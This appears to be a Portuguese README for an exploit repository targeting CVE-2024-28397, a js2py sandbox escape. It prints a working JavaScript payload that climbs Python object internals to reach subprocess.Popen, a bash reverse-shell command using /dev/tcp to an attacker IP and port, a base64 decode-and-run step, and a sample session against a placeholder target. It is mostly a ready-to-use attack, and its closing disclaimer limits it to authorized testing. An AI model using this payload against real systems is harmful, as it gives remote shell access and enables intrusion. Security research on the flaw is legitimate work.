
# Scripts de exploração para CVE-2024-28397, uma fuga de sandbox do js2py que executa código Python arbitrário para gerar uma shell reversa em um endpoint alvo.
Uma coleção de scripts de exploit direcionados à vulnerabilidade de escape de sandbox do js2py (CVE-2024-28397) que permite execução arbitrária de código através da introspecção de objetos Python.
A biblioteca js2py contém uma vulnerabilidade crítica de escape de sandbox que permite que atacantes executem código Python arbitrário acessando objetos Python internos através do método Object.getOwnPropertyNames() do JavaScript.
Este exploit é baseado na análise abrangente de Marven11:
Este repositório contém três implementações diferentes:
exploit.sh)Implementação leve em bash usando curl e jq.
exploit.go)Implementação Go multiplataforma com cliente HTTP embutido.
curl, jq, base64Todos os scripts são interativos e solicitarão as informações necessárias:
# Bash version
chmod +x exploit.sh
./exploit.sh
# Go version
go run exploit.go
Cada script perguntará por:
$ ./exploit.sh
Target URL: http://target.example.com:8000/run_code
Your IP: 10.10.14.3
Your Port: 9001
Sending to http://target.example.com:8000/run_code with reverse shell 10.10.14.3:9001
{"result": "executed"}
O exploit cria dinamicamente um comando reverse shell:
sh -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1
O comando shell é codificado em base64 para transmissão segura:
base64_payload=$(echo -n "$reverse_shell" | base64 -w 0)
O exploit central usa JavaScript para acessar objetos internos do Python:
let cmd = "printf BASE64_PAYLOAD|base64 -d|bash";
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a,"__class__"), "__base__");
function findpopen(o) {
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
if(item.__name__ != "type") {
let result = findpopen(item);
if(result) return result;
}
}
}
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
Object.getOwnPropertyNames({})__class__.__base__.__getattribute__subprocess.PopenPopenEstes scripts são fornecidos apenas para fins educacionais e de testes autorizados. Sempre certifique-se de ter a devida autorização antes de testar em qualquer sistema.
Este software é fornecido apenas para fins educacionais e de testes de segurança autorizados. Os usuários são responsáveis por cumprir as leis aplicáveis e obter a devida autorização antes do uso.